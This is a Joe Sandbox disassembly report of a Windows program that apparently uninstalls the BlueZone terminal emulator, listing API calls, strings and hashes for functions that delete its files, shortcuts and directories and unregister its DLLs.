Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrlen$Filelstrcat$Find$AttributesDelete$FirstMessageNextPostWindowlstrcpy
String ID: *.*$*.0$*.ini$5$AS400 Display.LNK$AS400 Printer.LNK$BLUEZONE.CHM$BZAD.EXE$BZAD.HLP$BZAP.EXE$BZAP.HLP$BZCERTS.CAB$BZDDE.H$BZFK.DLL$BZFTP.CHM$BZFTP.DLL$BZFTP.EXE$BZFTP.HLP$BZHIST.TXT$BZHR.EXE$BZISFT.DLL$BZMD.EXE$BZMD.HLP$BZMP.EXE$BZMP.HLP$BZPRNDEF.INI$BZSE.EXE$BZSH.CHM$BZSH.EXE$BZSM.CHM$BZSM.EXE$BZSM.HLP$BZVT.EXE$BZVT.HLP$BZWHLL.DLL$BlueZone$BlueZone FTP.LNK$BlueZone Script Editor.LNK$BlueZone Scripting Host.LNK$BlueZone Session Manager$BlueZone Session Manager.LNK$BlueZone VT.LNK$C:\BlueZone$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$Cache$Certs$Config$DBCSXLAT.DLL$DLGEDIT.CHM$DLGEDIT.EXE$DllUnregisterServer$EEHLLAPI.DLL$EHLAPI32.DLL$FORMFEED.TXT$Macros$Mainframe Display.LNK$Mainframe Printer.LNK$NWRNXTRM.FON$PCSHLL.DLL$RAP32Z.DLL$README.HTM$README.TXT$RENEX_LM.DLL$RNXSPLGR.FON$RTN3270E.DLL$RTN5250E.DLL$RTNS.HLP$SITE.CSS$SPOOLINF.EXE$STYLE.CSS$Scripts$Spool$Traces$Transfer$UNINS.EXE$VECT7F.EXE$WHLAPI16.DLL$WHLAPI32.DLL$WHLLAPI.DLL$iSeries Display.LNK$iSeries Printer.LNK
API String ID: 3052747356-3518736619
Opcode ID: d002b669fbc97dd5cf6f81173c9aded789232f436bab799a63fe84e0ebb8690f
Instruction ID: 3cf620fd8cbdad81eca1e58255e5026526ae92e399748c98c5a9b29e043b9d99
Opcode Fuzzy Hash: d002b669fbc97dd5cf6f81173c9aded789232f436bab799a63fe84e0ebb8690f
Instruction Fuzzy Hash: B3D248B5649384DFD331DF649D80BABBBE4AB98301F004A2FE988A36A1D7745544CF1E

Function 00402F17 Relevance: 212.2, APIs: 101, Strings: 20, Instructions: 491stringlibraryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00401DB0: lstrlenA.KERNEL32(?), ref: 00401DE6
Part of subcall function 00401DB0: lstrcatA.KERNEL32(?,0040C1F0), ref: 00401DF9

lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F34
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00402F4A
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00402F56
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F5D
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F68
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F73
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 00402F87
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F92
FindNextFileA.KERNEL32(?,?), ref: 00402FA2
FindClose.KERNEL32(?), ref: 00402FB5
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\BlueZone), ref: 00402FC9
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402FD4
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00402FE6
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZFTP.DLL), ref: 00402FF2
LoadLibraryA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402FFF
GetProcAddress.KERNEL32(00000000,DllUnregisterServer), ref: 0040300D
FreeLibrary.KERNEL32(00000000), ref: 0040301F
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\BlueZone), ref: 0040302F
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040303A
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00403050
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZWHLL.DLL), ref: 0040305C
LoadLibraryA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00403063
GetProcAddress.KERNEL32(00000000,DllUnregisterServer), ref: 00403071
FreeLibrary.KERNEL32(00000000), ref: 00403083
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\BlueZone), ref: 004030AA
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004030B5
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 004030CB

Strings

C:\BlueZone, xrefs: 00402FBF, 00403025, 004030A0, 004031AF, 00403557, 0040361D
iSeries Display.LNK, xrefs: 004036DD
BlueZone Session Manager.LNK, xrefs: 004037B4, 00403860
*.*, xrefs: 0040326A
BlueZone Script Editor.LNK, xrefs: 004037DF
BlueZone Scripting Host.LNK, xrefs: 00403835
BlueZone FTP.LNK, xrefs: 0040380A
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 00402F22, 00402F2F, 00402F45, 00402F51, 00402F58, 00402F5F, 00402F6A, 00402F7E, 00402F8D, 00402FC4, 00402FCF, 00402FE1, 00402FED, 00402FFA, 0040302A, 00403035, 0040304B, 00403057, 0040305E, 004030A5, 004030B0, 004030C6, 004030CE, 004030DA, 004030E5, 0040310A, 00403120, 00403136, 00403242, 0040324D, 00403263, 0040326F, 0040327B, 00403299, 004032A4, 004032B6, 004032C2, 004032D4, 004032DB, 00403308, 00403313, 00403329, 00403335, 00403341, 00403348, 00403674, 00403686, 0040368F, 0040369C, 004036A5, 004036B7, 004036C0, 004036C7, 004036D0, 004036E2, 004036EB, 004036F2, 004036FB, 0040370D, 00403716, 0040371D, 00403726, 00403738, 00403741, 00403748, 00403751, 00403763, 0040376C, 00403773, 0040377C, 0040378E, 00403797, 0040379E, 004037A7, 004037B9, 004037C2, 004037C9, 004037D2, 004037E4, 004037ED, 004037F4, 004037FD, 0040380F, 00403818, 0040381F, 00403828, 0040383A, 00403843, 0040384A, 00403853, 00403865, 0040386E, 00403875
DllUnregisterServer, xrefs: 00403007, 0040306B
BlueZone VT.LNK, xrefs: 00403789
iSeries Printer.LNK, xrefs: 00403708
UNINS.EXE, xrefs: 00403131
BlueZone, xrefs: 00403659
AS400 Display.LNK, xrefs: 00403733
Mainframe Display.LNK, xrefs: 00403681
AS400 Printer.LNK, xrefs: 0040375E
5, xrefs: 00403090
BZFTP.DLL, xrefs: 00402FE8, 00403105
Mainframe Printer.LNK, xrefs: 004036B2
BZWHLL.DLL, xrefs: 00403052, 0040311B

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrcatlstrlen$Library$Filelstrcpy$AddressFindFreeLoadProc$AttributesCloseDeleteNext
String ID: *.*$5$AS400 Display.LNK$AS400 Printer.LNK$BZFTP.DLL$BZWHLL.DLL$BlueZone$BlueZone FTP.LNK$BlueZone Script Editor.LNK$BlueZone Scripting Host.LNK$BlueZone Session Manager.LNK$BlueZone VT.LNK$C:\BlueZone$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$DllUnregisterServer$Mainframe Display.LNK$Mainframe Printer.LNK$UNINS.EXE$iSeries Display.LNK$iSeries Printer.LNK
API String ID: 73792934-1234634114
Opcode ID: ca033869a838668da3a8a52017a6e34ad4c94bfdd32b78c526988054bf2dbc2f
Instruction ID: a236bc61b0cb2fccec87d31326b97636e3c6698e1d12414fb27ae751ed4669ea
Opcode Fuzzy Hash: ca033869a838668da3a8a52017a6e34ad4c94bfdd32b78c526988054bf2dbc2f
Instruction Fuzzy Hash: 36F1C07468030CFAE2306BA15C46FAFBA9C9F44B85F10052BFA14719E5DAFC55C4CA6E

Function 00405A95 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005A58), ref: 00405A9A

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 24177cae256626d25820f8beb0463819c5d0be06f184628d380fccab50167130
Instruction ID: 5f7290aec928d1a437f2d4ebf4717cf8d115e3f7152457e8832e2b76a2300421
Opcode Fuzzy Hash: 24177cae256626d25820f8beb0463819c5d0be06f184628d380fccab50167130
Instruction Fuzzy Hash: EC900261362542C6DA0027B49DD990665909A8860276156716005E5094DA784000AE29

Function 004032F8 Relevance: 119.3, APIs: 54, Strings: 14, Instructions: 259stringfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 0040330D
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00403318
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 0040332E
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 0040333A
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 00403346
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040334D
FindNextFileA.KERNEL32(00000000,?), ref: 00403359
FindClose.KERNEL32(00000000), ref: 00403364
lstrcpyA.KERNEL32(?,C:\BlueZone), ref: 00403564
lstrlenA.KERNEL32(?), ref: 004035B8
lstrcatA.KERNEL32(?,0040C1F0), ref: 004035D1
lstrcatA.KERNEL32(?,?), ref: 004035DC
RemoveDirectoryA.KERNEL32(?), ref: 004035EF
RemoveDirectoryA.KERNEL32(C:\BlueZone), ref: 00403622
lstrlenA.KERNEL32(?), ref: 0040363E
lstrcatA.KERNEL32(?,0040C1F0), ref: 00403657
lstrcatA.KERNEL32(?,BlueZone), ref: 00403666
RemoveDirectoryA.KERNEL32(?), ref: 00403670
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,Mainframe Display.LNK), ref: 0040368B

Strings

C:\BlueZone, xrefs: 00403557, 0040361D
iSeries Display.LNK, xrefs: 004036DD
BlueZone Session Manager.LNK, xrefs: 004037B4, 00403860
BlueZone Script Editor.LNK, xrefs: 004037DF
BlueZone Scripting Host.LNK, xrefs: 00403835
BlueZone FTP.LNK, xrefs: 0040380A
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 00403308, 00403313, 00403329, 00403335, 00403341, 00403348, 00403674, 00403686, 0040368F, 0040369C, 004036A5, 004036B7, 004036C0, 004036C7, 004036D0, 004036E2, 004036EB, 004036F2, 004036FB, 0040370D, 00403716, 0040371D, 00403726, 00403738, 00403741, 00403748, 00403751, 00403763, 0040376C, 00403773, 0040377C, 0040378E, 00403797, 0040379E, 004037A7, 004037B9, 004037C2, 004037C9, 004037D2, 004037E4, 004037ED, 004037F4, 004037FD, 0040380F, 00403818, 0040381F, 00403828, 0040383A, 00403843, 0040384A, 00403853, 00403865, 0040386E, 00403875
BlueZone VT.LNK, xrefs: 00403789
iSeries Printer.LNK, xrefs: 00403708
BlueZone, xrefs: 00403659
AS400 Display.LNK, xrefs: 00403733
Mainframe Display.LNK, xrefs: 00403681
AS400 Printer.LNK, xrefs: 0040375E
Mainframe Printer.LNK, xrefs: 004036B2

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrcat$DirectoryFileRemovelstrlen$Findlstrcpy$AttributesCloseDeleteNext
String ID: AS400 Display.LNK$AS400 Printer.LNK$BlueZone$BlueZone FTP.LNK$BlueZone Script Editor.LNK$BlueZone Scripting Host.LNK$BlueZone Session Manager.LNK$BlueZone VT.LNK$C:\BlueZone$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$Mainframe Display.LNK$Mainframe Printer.LNK$iSeries Display.LNK$iSeries Printer.LNK
API String ID: 3560397592-3419792956
Opcode ID: 6fbd53d93c86cdce6348bcfe2b67d1b8fe379e639aeb69351339b9d2aa1175ff
Instruction ID: df700f7575376be09f19570788a115550421a301754c04b8bf91814cab73328a
Opcode Fuzzy Hash: 6fbd53d93c86cdce6348bcfe2b67d1b8fe379e639aeb69351339b9d2aa1175ff
Instruction Fuzzy Hash: 5F8162346C030CF6E13067A15C87FAFAA589F94B85F20052BFA1475CE5DAFC65C48A6E

Function 00403536 Relevance: 105.2, APIs: 46, Strings: 14, Instructions: 218stringfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,C:\BlueZone), ref: 00403564
lstrlenA.KERNEL32(?), ref: 00403586
lstrcatA.KERNEL32(?,0040C1F0), ref: 0040359F
lstrcatA.KERNEL32(?,BlueZone), ref: 004035AE
lstrlenA.KERNEL32(?), ref: 004035B8
lstrcatA.KERNEL32(?,0040C1F0), ref: 004035D1
lstrcatA.KERNEL32(?,?), ref: 004035DC
RemoveDirectoryA.KERNEL32(?), ref: 004035EF
RemoveDirectoryA.KERNEL32(C:\BlueZone), ref: 00403622
lstrlenA.KERNEL32(?), ref: 0040363E
lstrcatA.KERNEL32(?,0040C1F0), ref: 00403657
lstrcatA.KERNEL32(?,BlueZone), ref: 00403666
RemoveDirectoryA.KERNEL32(?), ref: 00403670
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,Mainframe Display.LNK), ref: 0040368B
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 00403694
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004036A1
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,Mainframe Printer.LNK), ref: 004036BC
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 004036C5
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004036CC
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,iSeries Display.LNK), ref: 004036E7
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 004036F0
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004036F7

Part of subcall function 00401DB0: lstrlenA.KERNEL32(?), ref: 00401DE6
Part of subcall function 00401DB0: lstrcatA.KERNEL32(?,0040C1F0), ref: 00401DF9

lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,iSeries Printer.LNK), ref: 00403712
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 0040371B
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00403722
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,AS400 Display.LNK), ref: 0040373D
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 00403746
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040374D
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,AS400 Printer.LNK), ref: 00403768
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 00403771
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00403778
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone VT.LNK), ref: 00403793
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 0040379C
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004037A3
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone Session Manager.LNK), ref: 004037BE
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 004037C7
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004037CE
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone Script Editor.LNK), ref: 004037E9
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 004037F2
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004037F9
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone FTP.LNK), ref: 00403814
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 0040381D
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00403824
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone Scripting Host.LNK), ref: 0040383F
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 00403848
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040384F

Part of subcall function 00401E10: lstrlenA.KERNEL32(?), ref: 00401E46
Part of subcall function 00401E10: lstrcatA.KERNEL32(?,0040C1F0), ref: 00401E59

lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone Session Manager.LNK), ref: 0040386A
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000020), ref: 00403873
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040387A

Strings

C:\BlueZone, xrefs: 00403557, 0040361D
iSeries Display.LNK, xrefs: 004036DD
BlueZone Session Manager.LNK, xrefs: 004037B4, 00403860
BlueZone Script Editor.LNK, xrefs: 004037DF
BlueZone Scripting Host.LNK, xrefs: 00403835
BlueZone FTP.LNK, xrefs: 0040380A
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 00403674, 00403686, 0040368F, 0040369C, 004036A5, 004036B7, 004036C0, 004036C7, 004036D0, 004036E2, 004036EB, 004036F2, 004036FB, 0040370D, 00403716, 0040371D, 00403726, 00403738, 00403741, 00403748, 00403751, 00403763, 0040376C, 00403773, 0040377C, 0040378E, 00403797, 0040379E, 004037A7, 004037B9, 004037C2, 004037C9, 004037D2, 004037E4, 004037ED, 004037F4, 004037FD, 0040380F, 00403818, 0040381F, 00403828, 0040383A, 00403843, 0040384A, 00403853, 00403865, 0040386E, 00403875
BlueZone VT.LNK, xrefs: 00403789
iSeries Printer.LNK, xrefs: 00403708
BlueZone, xrefs: 00403659
AS400 Display.LNK, xrefs: 00403733
Mainframe Display.LNK, xrefs: 00403681
AS400 Printer.LNK, xrefs: 0040375E
Mainframe Printer.LNK, xrefs: 004036B2

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: File$lstrcat$AttributesDelete$lstrlen$DirectoryRemove$lstrcpy
String ID: AS400 Display.LNK$AS400 Printer.LNK$BlueZone$BlueZone FTP.LNK$BlueZone Script Editor.LNK$BlueZone Scripting Host.LNK$BlueZone Session Manager.LNK$BlueZone VT.LNK$C:\BlueZone$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$Mainframe Display.LNK$Mainframe Printer.LNK$iSeries Display.LNK$iSeries Printer.LNK
API String ID: 2999435294-3419792956
Opcode ID: 915e39dfd0f7e8b8773470486f7068a6cacd9d2cce881ddbfdc3fdf2f64acfe9
Instruction ID: eb0f3f23e3bcdd8b0ad98a302955a54b845703e37c4cf98fae68f7ea54600125
Opcode Fuzzy Hash: 915e39dfd0f7e8b8773470486f7068a6cacd9d2cce881ddbfdc3fdf2f64acfe9
Instruction Fuzzy Hash: 01515F396C030CF5E13077A15C87FAFAA589B94B89F20052BFB1421CE5A9FD61C4896E

Function 00401060 Relevance: 56.1, APIs: 18, Strings: 14, Instructions: 103stringfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,Mainframe Display), ref: 0040108B
lstrcpyA.KERNEL32(?,Mainframe Printer), ref: 0040109A
lstrcpyA.KERNEL32(?,AS400 Display), ref: 004010A9
lstrcpyA.KERNEL32(?,AS400 Printer), ref: 004010B8
lstrcpyA.KERNEL32(?,BlueZone Session Manager), ref: 004010C7
lstrcpyA.KERNEL32(?,BlueZone Script Editor), ref: 004010D6
lstrcpyA.KERNEL32(?,BlueZone FTP), ref: 004010E5
lstrcpyA.KERNEL32(?,BlueZone HLLAPI Redirector), ref: 004010F4
lstrcpyA.KERNEL32(?,BlueZone VT), ref: 00401103
lstrcpyA.KERNEL32(?,BlueZone Scripting Host), ref: 00401112
lstrcpyA.KERNEL32(?,BlueZone Dialog Editor), ref: 00401121
lstrcpyA.KERNEL32(?,iSeries Display), ref: 00401130
lstrcpyA.KERNEL32(?,iSeries Printer), ref: 0040113F

Part of subcall function 00401E70: lstrlenA.KERNEL32(0040101D,0040101D,690E9AC5), ref: 00401E9E
Part of subcall function 00401E70: lstrcatA.KERNEL32(0040101D,0040C1F0), ref: 00401EB1

lstrcatA.KERNEL32(?,00411288), ref: 0040117C
lstrcatA.KERNEL32(?,0040C1F0), ref: 00401188
lstrcatA.KERNEL32(?,?), ref: 00401190
lstrcatA.KERNEL32(?,.LNK), ref: 0040119C
DeleteFileA.KERNEL32(?), ref: 004011A3

Strings

iSeries Printer, xrefs: 00401132
BlueZone VT, xrefs: 004010F6
BlueZone Dialog Editor, xrefs: 00401114
AS400 Display, xrefs: 0040109C
Mainframe Printer, xrefs: 0040108D
BlueZone Script Editor, xrefs: 004010C9
.LNK, xrefs: 00401192
AS400 Printer, xrefs: 004010AB
BlueZone Session Manager, xrefs: 004010BA
BlueZone FTP, xrefs: 004010D8
Mainframe Display, xrefs: 0040107E
BlueZone Scripting Host, xrefs: 00401105
BlueZone HLLAPI Redirector, xrefs: 004010E7
iSeries Display, xrefs: 00401123

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrcpy$lstrcat$DeleteFilelstrlen
String ID: .LNK$AS400 Display$AS400 Printer$BlueZone Dialog Editor$BlueZone FTP$BlueZone HLLAPI Redirector$BlueZone Script Editor$BlueZone Scripting Host$BlueZone Session Manager$BlueZone VT$Mainframe Display$Mainframe Printer$iSeries Display$iSeries Printer
API String ID: 3694779398-712608949
Opcode ID: 7e56743ea80645fdb322d66d05f5c62bb4844f2890daf8521876e5abc88008c3
Instruction ID: 319510650af493da721b0b30a9b2ef4ab1c3f7d227804929bb5e18b4616f785e
Opcode Fuzzy Hash: 7e56743ea80645fdb322d66d05f5c62bb4844f2890daf8521876e5abc88008c3
Instruction Fuzzy Hash: 76315371554358A7C234DBA0DC85FDB7FACDB88750F400D1FB64856040DABCA588CBBA

Function 00405DBF Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_strcpy_s.LIBCMT ref: 00405E2B
__invoke_watson.LIBCMT ref: 00405E3C
GetModuleFileNameA.KERNEL32(00000000,00411BC9,00000104), ref: 00405E58
_strcpy_s.LIBCMT ref: 00405E6D
__invoke_watson.LIBCMT ref: 00405E80
_strlen.LIBCMT ref: 00405E89
_strlen.LIBCMT ref: 00405E96
__invoke_watson.LIBCMT ref: 00405EC3
_strcat_s.LIBCMT ref: 00405ED6
__invoke_watson.LIBCMT ref: 00405EE7
_strcat_s.LIBCMT ref: 00405EF8
__invoke_watson.LIBCMT ref: 00405F09
GetStdHandle.KERNEL32(000000F4,?,?,00000000,76ED5E70,00000003,00405F8B,000000FC,0040A3B1,00000001,00000000,00000000,?,00408784,?,00000001), ref: 00405F28
_strlen.LIBCMT ref: 00405F49
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00408784,?,00000001,?,00407349,00000018,0040E540,0000000C,004073D8,?), ref: 00405F53

Strings

..., xrefs: 00405EA7
<program name unknown>, xrefs: 00405E62
Microsoft Visual C++ Runtime Library, xrefs: 00405F16
Runtime Error!Program: , xrefs: 00405E1A

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
